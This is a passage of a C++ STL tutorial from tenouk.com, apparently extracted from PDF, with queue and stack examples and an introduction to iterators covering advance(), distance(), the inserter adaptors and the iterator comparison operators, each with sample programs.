que.push(23);
que.push(15);
que.push(32);

queue <int>::size_type i;
i = que.size();
cout<<"The queue length is "<<i<<endl;
i = que.front();
cout<<"The element at the front of the queue is "<<i<<endl;
return 0;
}

Output:

queue Constructor

- Constructs a queue that is empty or that is a copy of a base container object.

queue( );
explicit queue(
const container_type& _Right
);

Parameter

Parameter Description
_Right The const container of which the constructed queue is to be a copy.

Table 30.10

- The default base container for queue is deque. You can also specify list as a base container, but you
cannot specify vector, because it lacks the required pop_front() member function.

//queue, constructor
#include <queue>
#include <vector>
#include <list>
#include <iostream>
using namespace std;

int main()
{
//Declares queue with default deque base container
queue <char> que;

//Explicitly declares a queue with deque base container


queue <char, deque<char> > que1;

//These lines don't cause an error, even though they


//declares a queue with a vector base container
queue <int, vector<int> > que2;
que2.push(12);
//but the following would cause an error because vector has
//no pop_front() member function
//que2.pop();

//Declares a queue with list base container


queue <int, list<int> > que3;
cout<<endl;

www.tenouk.com Page 7 of 9
return 0;
}
//no output

queue Class

- A template container adaptor class that provides a restriction of functionality for some underlying
container type, limiting access to the front and back elements.
- Elements can be added at the back or removed from the front, and elements can be inspected at either
end of the queue.

template <
class Type,
class Container = deque<Type>
>

Parameters

Parameter Description
Type The element data type to be stored in the queue.
Container The type of the underlying container used to implement the queue.

Table 30.11

- The elements of class Type stipulated in the first template parameter of a queue object are
synonymous with value _type and must match the type of element in the underlying container class
Container stipulated by the second template parameter.
- The Type must be assignable, so that it is possible to copy objects of that type and to assign values to
variables of that type.
- Suitable underlying container classes for queue include deque and list, or any other sequence container
that supports the operations of front(), back(), push_back(), and pop_front().
- The underlying container class is encapsulated within the container adaptor, which exposes only the
limited set of the sequence container member functions as a public interface.
- The queue objects are equality comparable if and only if the elements of class Type are equality
comparable, and are less-than comparable if and only if the elements of class Type are less-than
comparable.
- These three types of container adaptors defined by the STL, each restricts the functionality of some
underlying container class to provide a precisely controlled interface to a standard data structure.
- The following is a program example compiled using g++.

//*******stackpopush.cpp*******
//stack, pop(), push()
//size() and top()
#include <stack>
#include <iostream>
using namespace std;

int main()
{
stack <int> st1, st2;

//push data element on the stack


st1.push(21);
int j=st1.top();
cout<<j<<' ';
st1.push(9);
j=st1.top();
cout<<j<<' ';
st1.push(12);
j=st1.top();
cout<<j<<' ';
st1.push(31);
j=st1.top();
cout<<j<<' '<<endl;

stack <int>::size_type i;
i = st1.size();
cout<<"The stack length is "<<i<<endl;

i = st1.top();

www.tenouk.com Page 8 of 9
cout<<"The element at the top of the stack is "<<i<<endl;

st1.pop();

i = st1.size();
cout<<"After a pop, the stack length is "<<i<<endl;

i = st1.top();
cout<<"After a pop, the element at the top of the stack is "<<i<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ stackpopush.cpp -o stackpopush


[bodo@bakawali ~]$ ./stackpopush

21 9 12 31
The stack length is 4
The element at the top of the stack is 31
After a pop, the stack length is 3
After a pop, the element at the top of the stack is 12

//*****queuepop.cpp*******
//queue, pop()
#include <queue>
#include <iostream>
using namespace std;

int main()
{
queue <int> que;

que.push(21);
que.push(9);
que.push(13);

queue <int>::size_type i;
i = que.size();
cout<<"The queue length is "<<i<<endl;

i = que.front();
cout<<"The element at the front of the queue is "<<i<<endl;

que.pop();
i = que.size();
cout<<"After a pop the queue length is "<<i<<endl;

i = que.front();
cout<<"After a pop, the element at the front of the queue is "<<i<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ queuepop.cpp -o queuepop


[bodo@bakawali ~]$ ./queuepop

The queue length is 3


The element at the front of the queue is 21
After a pop the queue length is 2
After a pop, the element at the front of the queue is 9

-----------------------------------------End of Container Adaptor-----------------------------------


---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

www.tenouk.com Page 9 of 9
MODULE 31
--THE STL--
ITERATOR PART I

My Training Period: hours

Note: Compiled using VC++7.0/.Net, win32 empty console mode application. g++ program example compilation is
given at the end of this Module.

Abilities

▪ Able to understand and use iterators.


▪ Able to understand and use iterator template classes.
▪ Able to understand and use iterator typedef.
▪ Able to understand and use iterator member functions.
▪ Able to understand and use iterator operators.
▪ Able to appreciate how the class and function templates are used.

31.1 Introduction

- In the previous Modules, we have learned how to construct various types of containers. At the same
time, in the program examples, iterators and algorithm also have been introduced.
- In this Module we are going to discuss an iterator in more detail.

31.2 Iterators

- An iterator is an object that can iterate or navigate or traverse over elements in the containers that
represent data structures. These elements may be the entire or just a portion of a STL container. It
represents a certain position in a container.
- For example, the following basic operations: output, input, forward, bidirectional and random
access define the behavior of an iterator.
- Iterators are a generalization of pointers, abstracting from their requirements in a way that allows a
C++ program to work with different data structures in a uniform manner. Iterators act as intermediaries
between containers and generic algorithms.
- Instead of operating on specific data types, algorithms are defined to operate on a range specified by a
type of iterator. Any data structure that satisfies the requirements of the iterator may then be operated
on by the algorithm.
- The name of an iterator type or its prefix indicates the category of iterators required for that type.
- There are five types or categories of iterator, each with its own set of requirements and operations are
shown below.
- They are arranged in the order of the strength of their functionalities.

Iterator Type Description


Forward moving, may store but not retrieve values, provided by ostream
and inserter. An output iterator I can only have a value V stored indirect
Output
on it, after which it must be incremented before the next store, as in (*I ++ =
V), (*I = V, ++ I), or (*I = V, I ++).
Forward moving, may retrieve but not store values, provided by istream.
An input iterator I can represent a singular value that indicates end of
sequence. If an input iterator does not compare equal to its end-of-sequence
Input
value, it can have a value V accessed indirect on it any number of times, as in
(V = *I). To progress to the next value or end of sequence, you increment it, as
in ++ I, I ++, or (V = *I ++). Once you increment any copy of an input iterator,
none of the other copies can safely be compared, dereferenced, or incremented
thereafter.
Forward moving, may store and retrieve values. A forward iterator I can take
the place of an output iterator for writing or an input iterator for reading. You
Forward can, however, read (through V = *I) what you just wrote (through *I = V)
through a forward iterator. You can also make multiple copies of a forward
iterator, each of which can be dereferenced and incremented independently.
Forward and backward moving, may store and retrieve values, provided by
Bidirectional
list, set, multiset, map, and multimap. A bidirectional iterator X can take the

www.tenouk.com Page 1 of 29
place of a forward iterator. You can, however, also decrement a bidirectional
iterator, as in -- I, I --, or (V = *I --).
Elements accessed in any order, may store and retrieve values, provided by
vector, deque, string, and array. A random-access iterator I can take the place
Random-access of a bidirectional iterator. You can also perform much the same integer
arithmetic on a random-access iterator that you can on an object pointer. For
N, an integer object, you can write x[N], x + N, x - N, and N + X.

Table 31.1: Iterator types

- Note that an object pointer can take the place of a random-access iterator or any other iterator. All
iterators can be assigned or copied.
- They are assumed to be lightweight objects and are often passed and returned by value, not by
reference. Note also that none of the operations previously described can throw an exception when
performed on a valid iterator.
- The hierarchy of iterator categories can be summarized by showing three sequences. For write-only
access to a sequence, you can use any of the following:

Output iterator or can be replaced by


forward iterator or can be replaced by
bidirectional iterator or can be replaced by
random-access iterator

- Any algorithm that calls for an output iterator should work nicely with a forward iterator, for example,
but not the other way around.
- For read-only access to a sequence, you can use any of the following:

Input iterator or can be replaced by


forward iterator or can be replaced by
bidirectional iterator or can be replaced by
random-access iterator

- An input iterator is the weakest of all categories, in this case.


- Finally, for read/write access to a sequence, you can use any of the following:

forward iterator or can be replaced by


bidirectional iterator or can be replaced by
random-access iterator

- An object pointer can always serve as a random-access iterator, so it can serve as any category of
iterator if it supports the proper read/write access to the sequence it designates.
- An iterator Iterator other than an object pointer must also define the member types required by the
specialization iterator_traits<Iterator>. Note that these requirements can be met by
deriving Iterator from the public base class iterator.
- It is important to understand the promises and limitations of each iterator category to see how iterators
are used by containers and algorithms in the STL.
- For simple example:

Operator Description
++ Make the iterator step forward to the next element.
== and != Return whether two iterators represent the same position or not.
= Assigns an iterator.

Table 31.2: Operators and iterator

- Compared to the traditional usage of this operator on arrays, iterators are smart pointers that iterate over
more complicated data structures of containers.
- Each container type supplies its own kind of iterator.
- Hence, iterators share the same interface but have different types, then operations use the same
interface but different types, and we can use templates to formulate generic operations that work with
arbitrary types that satisfy the interface.

www.tenouk.com Page 2 of 29
- All container classes provide the same basic member functions that enable them to use iterators to
navigate over their elements.
- The most frequently functions used in the program examples in the previous Modules are begin()
and end().

Member function Description


Returns an iterator that represents the beginning of the elements
begin() in the container. The beginning is the position of the first element
(if any).
Returns an iterator that represents the end of the elements in the
end() container. As shown in the previous modules before, the end is
the position behind the last element.

Table 31.3: begin() and end() member functions

- The following example demonstrates the simple use of iterators.

//iterator simple example


#include <iostream>
#include <list>
using namespace std;

int main()
{
//lst, list container for character elements
list<char> lst;

//append elements from 'A' to 'Z'


//to the list lst container
for(char chs='A'; chs<='Z'; ++chs)
lst.push_back(chs);

//iterate over all elements and print,


//separated by space
list<char>::const_iterator pos;
for(pos = lst.begin(); pos != lst.end(); ++pos)
cout<<*pos<<' ';
cout<<endl;
return 0;
}

Output:

//iterator, set example


#include <iostream>
#include <set>
using namespace std;

int main()
{
//set container of int
//data type
set<int> tst;

//insert elements
tst.insert(12);
tst.insert(21);
tst.insert(32);
tst.insert(31);
tst.insert(9);
tst.insert(14);
tst.insert(21);
tst.insert(31);
tst.insert(7);

//iterate over all elements and print,


//separated by space

www.tenouk.com Page 3 of 29
set<int>::const_iterator pos;
//preincrement and predecrement are faster
//than postincrement and postdecrement...
for(pos = tst.begin(); pos != tst.end(); ++pos)
cout<<*pos<<' ';
cout<<endl;
return 0;
}

Output:

//iterator, multiset example


#include <iostream>
#include <set>
using namespace std;

int main()
{
//multiset container of int
//data type
multiset<int> tst;

//insert elements
tst.insert(12);
tst.insert(21);
tst.insert(32);
tst.insert(31);
tst.insert(9);
tst.insert(14);
tst.insert(21);
tst.insert(31);
tst.insert(7);

//iterate over all elements and print,


//separated by space
multiset<int>::const_iterator pos;
//preincrement and predecrement are faster
//than postincrement and postdecrement...
for(pos = tst.begin(); pos != tst.end(); ++pos)
cout<<*pos<<' ';
cout<<endl;
return 0;
}

Output:

//iterator, map simple example


#include <iostream>
#include <map>
#include <string>
using namespace std;

int main()
{
//type of the collection
map<int, string> mp;

//set container for int/string values


//insert some elements in arbitrary order
//notice a value with key 1...
mp.insert(make_pair(5,"learn"));
mp.insert(make_pair(2,"map"));
mp.insert(make_pair(1,"Testing"));
mp.insert(make_pair(7,"tagged"));

www.tenouk.com Page 4 of 29
mp.insert(make_pair(4,"strings"));
mp.insert(make_pair(6,"iterator!"));
mp.insert(make_pair(1,"the"));
mp.insert(make_pair(3,"tagged"));

//iterate over all elements and print,


//element member second is the value
map<int, string>::iterator pos;
for(pos = mp.begin(); pos != mp.end(); ++pos)
cout<<pos->second<<' ';
cout<<endl;
return 0;
}

Output:

//iterator, multimap simple example


#include <iostream>
#include <map>
#include <string>
using namespace std;

int main()
{
//type of the collection
multimap<int, string> mmp;

//set container for int/string values


//insert some elements in arbitrary order
//notice a value of key 1
mmp.insert(make_pair(5,"learn"));
mmp.insert(make_pair(2,"map"));
mmp.insert(make_pair(1,"Testing"));
mmp.insert(make_pair(7,"tagged"));
mmp.insert(make_pair(4,"strings"));
mmp.insert(make_pair(6,"iterator!"));
mmp.insert(make_pair(1,"the"));
mmp.insert(make_pair(3,"tagged"));

//iterate over all elements and print,


//element member second is the value
multimap<int, string>::iterator pos;
for(pos = mmp.begin(); pos != mmp.end(); ++pos)
cout<<pos->second<<' ';
cout<<endl;
return 0;
}

Output:

31.3 Iterator Categories

- Iterators are subdivided into different categories that are based on their general abilities. The iterators
of the predefined container classes belong to one of the following two categories:

Category Description
Bidirectional iterators are able to iterate in two directions, forward and
backward, by using the increment operator and decrement operators
Bidirectional iterator
respectively. The iterators of the container classes list, set, multiset, map,
and multimap are bidirectional iterators.
Random access iterator Random access iterators have all the properties of bidirectional iterators

www.tenouk.com Page 5 of 29
plus they can perform random access. You can add and subtract offsets,
process differences, and compare iterators by using relational operators
such as < and >. The iterators of the container classes’ vector and deque,
and iterators of strings are random access iterators.

Table 31.4: Iterator category

- We should not use special operations for random access iterators in order to write generic code that is
as independent of the container type as possible. For example, the following loop works with any
container:

for(pos = contner.begin(); pos != contner.end(); ++pos)


{...}

- However, the following does not work with all containers:

for(pos = contner.begin(); pos < contner.end(); ++pos)


{...}

- Operator < is only provided for random access iterators, so this loop does not work with lists, sets, and
maps. To write generic code for arbitrary containers, you should use operator != rather than
operator <.
- A category only defines the abilities of iterators, not the type of the iterators.
- Let dig more details what are provided for us in <iterator> header.

31.4 <iterator> Header

- Defines the iterator primitives, predefined iterators and stream iterators, as well as several supporting
templates. The predefined iterators include insert and reverse adaptors.
- There are three classes of insert iterator adaptors: front, back, and general.
- They provide insert semantics rather than the overwrite semantics that the container member function
iterators provide. To use iterator we must include the iterator header as shown below.

#include <iterator>

<iterator> Header Members

Member Functions

Member function Description


advance() Increments an iterator by a specified number of positions.
Creates an iterator that can insert elements at the back of
back_inserter()
a specified container.
Determines the number of increments between the
distance()
positions addressed by two iterators.
Creates an iterator that can insert elements at the front of
front_inserter()
a specified container.
An iterator adaptor that adds a new element to a
inserter()
container at a specified point of insertion.

Table 31.5: Iterator member functions

advance()

template<class InputIterator, class Distance>


void advance(
InputIterator& _InIt,
Distance _Off
);

Parameters

Parameter Description
The iterator that is to be incremented and that must satisfy the requirements for an input
_InIt
iterator.

www.tenouk.com Page 6 of 29
An integral type that is convertible to the iterator's difference type and that specifies the
_Off
number of increments the position of the iterator is to be advanced.

Table 31.6

- The range advanced through must be nonsingular, where the iterators must be dereferenceable or past
the end.
- If the InputIterator satisfies the requirements for a bidirectional iterator type, then _Off may be
negative. If InputIterator is an input or forward iterator type, _Off must be nonnegative.
- The advance function has constant complexity when InputIterator satisfies the requirements for a
random-access iterator; otherwise, it has linear complexity and so is potentially expensive.

//iterator, advance()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
int i;

list<int> lst;
for(i = 1; i <= 10; ++i)
lst.push_back(i);

list<int>::iterator lstIter, lstpos = lst.begin();

cout<<"The lst list data: ";


for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<" ";
cout<<endl;
cout<<"The the first element pointed by iterator lstpos is: "<<*lstpos<<endl;

advance(lstpos, 5);
cout<<"Advanced lstpos 5 steps forward pointing to the "<<*lstpos<<endl;

advance(lstpos, -4);
cout<<"Moved lstpos 4 steps backward pointing to the "<<*lstpos<<endl;

advance(lstpos, 8);
cout<<"Finally, the last element pointed by iterator lstpos is: "<<*lstpos<<endl;

return 0;
}

Output:

back_inserter()

template<class Container>
back_insert_iterator<Container> back_inserter(
Container& _Cont
);

Parameter

Parameter Description
_Cont The container into which the back insertion is to be executed.

Table 31.7

www.tenouk.com Page 7 of 29
- The return value is a back_insert_iterator associated with the container object _Cont.
- Within the Standard Template Library, the argument must refer to one of the three sequence containers
that have the member function push_back(): deque Class, list Class, or vector Class.

//iterator, back_inserter()
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;
vector<int> vec;
for(i = 1; i < 5; ++i)
vec.push_back(i);

vector <int>::iterator vecIter;


cout<<"The vector vec data: ";
for(vecIter = vec.begin(); vecIter != vec.end(); vecIter++)
cout<<*vecIter<<" ";
cout<<endl;

//Insertions using template function


back_insert_iterator<vector<int> > backiter(vec);
*backiter = 11;
backiter++;
*backiter = 9;
backiter++;
*backiter = 27;

cout<<"\nOperation: *backiter = 11 then backiter++...\n";


cout<<"New vector vec data: ";
for(vecIter = vec.begin(); vecIter != vec.end(); vecIter++)
cout<<*vecIter<<" ";
cout<<endl;

cout<<"\nOperation: back_inserter(vec) = 21...\n";


//Alternatively, insertions using the
//back_inserter() member function
back_inserter(vec) = 21;
back_inserter(vec) = 17;
back_inserter(vec) = 33;
cout<<"New vector vec data: ";
for(vecIter = vec.begin(); vecIter != vec.end(); vecIter++)
cout<<*vecIter<<" ";
cout<<endl;
return 0;
}

Output:

distance()

template<class InputIterator>
typename iterator_traits<InputIterator>::difference_type
distance(
InputIterator _First,
InputIterator _Last
);

Parameters

www.tenouk.com Page 8 of 29
Parameter Description
_First The first iterator whose distance from the second is to be determined.
_Last The second iterator whose distance from the first is to be determined.

Table 31.8

- The return value is the number of times that _First must be incremented until it equal _Last.
- The advance function has constant complexity when InputIterator satisfies the requirements for a
random-access iterator; otherwise, it has linear complexity and so is potentially expensive.

//iterator, distance()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
int i;

list<int> lst;
for(i = -1; i < 10; ++i)
lst.push_back(2*i);

list <int>::iterator lstiter, lstpos = lst.begin();


cout<<"The list lst data: ";
for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

cout<<"\nOperation: lstpos = lst.begin()\n";


cout<<"The first element pointed by iterator lstpos: "<<*lstpos<<endl;

cout<<"\nOperation: advance(lstpos, 5)\n";


advance(lstpos, 5);
cout<<"lstpos is advanced 5 steps forward to point to: "<<*lstpos<<endl;

list<int>::difference_type lstdiff;
cout<<"\nOperation: lstdiff = distance(lst.begin(), lstpos)\n";
lstdiff = distance(lst.begin(), lstpos);
cout<<"The distance from lst.begin() to lstpos is: "<<lstdiff<<" elements"<<endl;
return 0;
}

Output

front_inserter()

template<class Container>
front_insert_iterator<Container> front_inserter(
Container& _Cont
);

Parameter

Parameter Description
_Cont The container object whose front is having an element inserted.

www.tenouk.com Page 9 of 29
Table 31.9

- The return value is a front_insert_iterator() associated with the container object _Cont.
- The member function front_insert_iterator() of the front_insert_iterator class
may also be used.
- Within the STL, the argument must refer to one of the two sequence containers that have the member
function push_back(): deque Class or list Class.

//iterator, front_inserter()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
int i;
list<int>::iterator lstiter;

list<int> lst;
for(i = -2; i<=5; ++i)
lst.push_back(i);

cout<<"The list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

//Using the template function to insert an element


cout<<"\nOperation: ++Iter then *Iter = 12...\n";
front_insert_iterator< list < int> > Iter(lst);
*Iter = 21;
++Iter;
*Iter = 12;

cout<<"New list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

cout<<"\nOperation: front_inserter(lst) = 23...\n";


//Alternatively, using the front_insert() member function
front_inserter(lst) = 23;
front_inserter(lst) = 9;

cout<<"New list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;
return 0;
}

Output:

inserter()

template<class Container, class Iterator>


insert_iterator<Container> inserter(
Container& _Cont,
Iterator _It
);

Parameters

www.tenouk.com Page 10 of 29
Parameter Description
_Cont The container to which new elements are to be added.
_It An iterator locating the point of insertion.

Table 31.10

- The return value is an insert iterator addressing the new element inserted.
- Within the STL, the sequence and sorted associative containers may be used as a container object
_Cont with the templatized inserter.

//iterator, inserter()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
int i;
list <int>::iterator lstiter;

list<int> lst;
for(i = -3; i<=2; ++i)
lst.push_back(i);

cout<<"The list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

//Using the template version to insert an element


insert_iterator<list <int> > Iter(lst, lst.begin());
*Iter = 7;
++Iter;
*Iter = 12;

cout<<"\nOperation: *Iter = 7 then ++Iter...\n";


cout<<"After the insertions, the list lst data: \n";
for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

//Alternatively, using the member function inserter()


//to insert an element
inserter(lst, lst.end()) = 31;
inserter(lst, lst.end()) = 42;

cout<<"\nOperation: inserter(lst, lst.end()) = 42...\n";


cout<<"After the insertions, the list lst data: \n";
for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;
return 0;
}

Output:

Operators

www.tenouk.com Page 11 of 29
Operator Description
Tests if the iterator object on the left side of the operator is not equal to the iterator
operator!=
object on the right side.
Tests if the iterator object on the left side of the operator is equal to the iterator object on
operator==
the right side.
Tests if the iterator object on the left side of the operator is less than the iterator object
operator<
on the right side.
Tests if the iterator object on the left side of the operator is less than or equal to the
operator<=
iterator object on the right side.
Tests if the iterator object on the left side of the operator is greater than the iterator
operator>
object on the right side.
Tests if the iterator object on the left side of the operator is greater than or equal to the
operator>=
iterator object on the right side.
Adds an offset to an iterator and returns the new reverse_iterator addressing the
operator+
inserted element at the new offset position.
operator- Subtracts one iterator from another and returns the difference.

Table 31.11

operator!=

template<class RandomIterator>
bool operator!=(
const reverse_iterator<RandomIterator>& _Left,
const reverse_iterator<RandomIterator>& _Right
);
template<class Type, class CharType, class Traits, class Distance>
bool operator!=(
const istream_iterator<Type, CharType, Traits, Distance>& _Left,
const istream_iterator<Type, CharType, Traits, Distance>& _Right
);
template<class CharType, class Tr>
bool operator!=(
const istreambuf_iterator<CharType, Traits>& _Left,
const istreambuf_iterator<CharType, Traits>& _Right
);

Parameters

Parameter Description
_Left An object of type iterator.
_Right An object of type iterator.

Table 31.12

- The return value is true if the iterator objects are not equal; false if the iterator objects are equal.
- One iterator object is equal to another if they address the same elements in a container. If two iterators
point to different elements in a container, then they are not equal.

//iterator, operator!=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;
vector<int> vec;
for(i = 1; i<=10; ++i)
vec.push_back(i);

vector<int>::iterator veciter;
cout<<"The vector vec data: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

//Initializing reverse_iterators to the last element


vector<int>::reverse_iterator rvecpos1 = vec.rbegin(), rvecpos2 = vec.rbegin();

cout<<"The iterators rvecpos1 and rvecpos2 points to the first\n"

www.tenouk.com Page 12 of 29
<<"element in the reversed sequence: "<<*rvecpos1<<endl;

cout<<"\nOperation: rvecpos1 != rvecpos2\n";


if(rvecpos1 != rvecpos2)
cout<<"The iterators are not equal."<<endl;
else
cout<<"The iterators are equal."<<endl;

rvecpos1++;
cout<<"\nThe iterator rvecpos1 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos1<<endl;

cout<<"\nOperation: rvecpos1 != rvecpos2\n";


if(rvecpos1 != rvecpos2)
cout<<"The iterators are not equal."<<endl;
else
cout<<"The iterators are equal."<<endl;
return 0;
}

Output:

operator==

- The return value is true if the iterator objects are equal; false if the iterator objects are not equal.
- One iterator object is equal to another if they address the same elements in a container. If two iterators
point to different elements in a container, then they are not equal.

//iterator, operator==
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;

vector<int> vec;
for(i = 11; i<15; ++i)
vec.push_back(i);

vector <int>::iterator veciter;


cout<<"The vector vec data: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

//Initializing reverse_iterators to the last element


vector<int>::reverse_iterator rvecpos1 = vec.rbegin(), rvecpos2 = vec.rbegin();

cout<<"\nThe iterators rvecpos1 and rvecpos2 points\nto the first"


<<"element in the reversed sequence: "<<*rvecpos1<<endl;

cout<<"\nOperation: rvecpos1 == rvecpos2\n";


if(rvecpos1 == rvecpos2)
cout<<"The iterators are equal."<<endl;
else
cout<<"The iterators are not equal."<<endl;

www.tenouk.com Page 13 of 29
rvecpos1++;
cout<<"\nThe iterator rvecpos1 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos1<<endl;

cout<<"\nOperation: rvecpos1 == rvecpos2\n";


if(rvecpos1 == rvecpos2)
cout<<"The iterators are equal."<<endl;
else
cout<<"The iterators are not equal."<<endl;
return 0;
}

Output:

operator<

template<class RandomIterator>
bool operator<(
const reverse_iterator<RandomIterator>& _Left,
const reverse_iterator<RandomIterator>& _Right
);

Parameters

Parameter Description
_Left An object of type iterator.
_Right An object of type iterator.

Table 31.13

- The return value is true if the iterator on the left side of the expression is less than the iterator on the
right side of the expression; false if it is greater than or equal to the iterator on the right.
- One iterator object is less than another if it addresses an element that occurs earlier in the container
than the element addressed by the other iterator object.
- One iterator object is not less than another if it addresses either the same element as the other iterator
object or an element that occurs later in the container than the element addressed by the other iterator
object.

//iterator, operator<
#include <iterator>
#include <vector>
#include <iostream>

int main()
{
using namespace std;
int i;
vector<int> vec;
for(i = 10; i<= 17; ++i)
vec.push_back(i);

vector<int>::iterator veciter;
cout<<"The initial vector vec is: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)

www.tenouk.com Page 14 of 29
cout<<*veciter<<" ";
cout<<endl;

//Initializing reverse_iterators to the last element


vector<int>::reverse_iterator rvecpos1 = vec.rbegin(), rvecpos2 = vec.rbegin();

cout<<"The iterators rvecpos1 & rvecpos2 initially point\nto the "


<<"first element in the reversed sequence: "
<<*rvecpos1<<endl;

cout<<"\nOperation: rvecpos1 < rvecpos2\n";


if(rvecpos1 < rvecpos2)
cout<<"The iterator rvecpos1 is less than"
<<" the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is not less than"
<<" the iterator rvecpos2."<<endl;

cout<<"\nOperation: rvecpos1 > rvecpos2\n";


if(rvecpos1 > rvecpos2)
cout<<"The iterator rvecpos1 is greater than"
<<" the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is not greater than"
<<" the iterator rvecpos2."<<endl;

cout<<"\nOperation: rvecpos2++;\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
<<"element in the reversed sequence: "
<<*rvecpos2<<endl;

cout<<"\nOperation: rvecpos1 < rvecpos2\n";


if(rvecpos1 < rvecpos2)
cout<<"The iterator rvecpos1 is less than"
<<" the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is not less than"
<<" the iterator rvecpos2."<<endl;

cout<<"\nOperation: rvecpos1 > rvecpos2\n";


if(rvecpos1 > rvecpos2)
cout<<"The iterator rvecpos1 is greater than"
<<" the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is not greater than"
<<" the iterator rvecpos2."<<endl;
return 0;
}

Output:

operator<=

www.tenouk.com Page 15 of 29
- The return value is true if the iterator on the left side of the expression is less than or equal to the
iterator on the right side of the expression; false if it is greater than the iterator on the right.
- One iterator object is less than or equal to another if it addresses the same element or an element that
occurs earlier in the container than the element addressed by the other iterator object.
- One iterator object is greater than another if it addresses an element that occurs later in the container
than the element addressed by the other iterator object.

//iterator, operator<=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;
vector<int> vec;
for(i = 10; i<= 15; ++i)
vec.push_back(i);

vector <int>::iterator veciter;


cout<<"The vector vec data: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

vector <int>::reverse_iterator rvecpos1 = vec.rbegin()+1, rvecpos2 = vec.rbegin();

cout<<"The iterator rvecpos1 points to the\n"


<<"second element in the reversed sequence: "
<<*rvecpos1<<endl;

cout<<"The iterator rvecpos2 points to the\n"


<<"first element in the reversed sequence: "
<<*rvecpos2<<endl;

cout<<"\nOperation: rvecpos1<=rvecpos2\n";
if(rvecpos1<=rvecpos2)
cout<<"The iterator rvecpos1 is less than or\n"
<<"equal to the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is greater than\n"
<<"the iterator rvecpos2."<<endl;

cout<<"\nOperation: rvecpos2++\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos2<<endl;

cout<<"\nOperation: rvecpos1 <= rvecpos2\n";


if(rvecpos1 <= rvecpos2)
cout<<"The iterator rvecpos1 is less than or\n"
<<"equal to the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is greater than\n"
<<"the iterator rvecpos2."<<endl;
return 0;
}

Output:

www.tenouk.com Page 16 of 29
operator>

- The return value is true if the iterator on the left side of the expression is greater than the iterator on the
right side of the expression; false if it is less than or equal to the iterator on the right.
- One iterator object is greater than another if it addresses an element that occurs later in the container
than the element addressed by the other iterator object.
- One iterator object is not greater than another if it addresses either the same element as the other
iterator object or an element that occurs earlier in the container than the element addressed by the other
iterator object.

//iterator, operator<=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;
vector<int> vec;
for(i = 10; i<= 15; ++i)
vec.push_back(i);

vector <int>::iterator veciter;


cout<<"The vector vec data: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

vector <int>::reverse_iterator rvecpos1 = vec.rbegin(), rvecpos2 = vec.rbegin();

cout<<"The iterators rvecpos1 & rvecpos2 point to the\n"


<<"second element in the reversed sequence: "
<<*rvecpos1<<endl;

cout<<"\nOperation: rvecpos2 > rvecpos1\n";


if(rvecpos2 > rvecpos1)
cout<<"The iterator rvecpos2 is greater than\n"
<<"the iterator rvecpos1."<<endl;
else
cout<<"The iterator rvecpos2 is not greater than\n"
<<"the iterator rvecpos1."<<endl;

cout<<"\nOperation: rvecpos2++\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos2<<endl;

cout<<"\nOperation: rvecpos2 > rvecpos1\n";


if(rvecpos2 > rvecpos1)
cout<<"The iterator rvecpos2 is greater than\n"
<<"the iterator rvecpos1."<<endl;
else
cout<<"The iterator rvecpos2 is not greater than\n"

www.tenouk.com Page 17 of 29
<<"the iterator rvecpos1."<<endl;
return 0;
}

Output:

operator>=

- The return value is true if the iterator on the left side of the expression is greater than or equal to the
iterator on the right side of the expression; false if it is less than the iterator on the right.
- One iterator object is greater than or equal to another if it addresses the same element or an element that
occurs later in the container than the element addressed by the other iterator object.
- One iterator object is less than another if it addresses an element that occurs earlier in the container
than the element addressed by the other iterator object.

//iterator, operator>=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;
vector<int> vec;
for(i = 10; i<= 15; ++i)
vec.push_back(i);

vector <int>::iterator veciter;


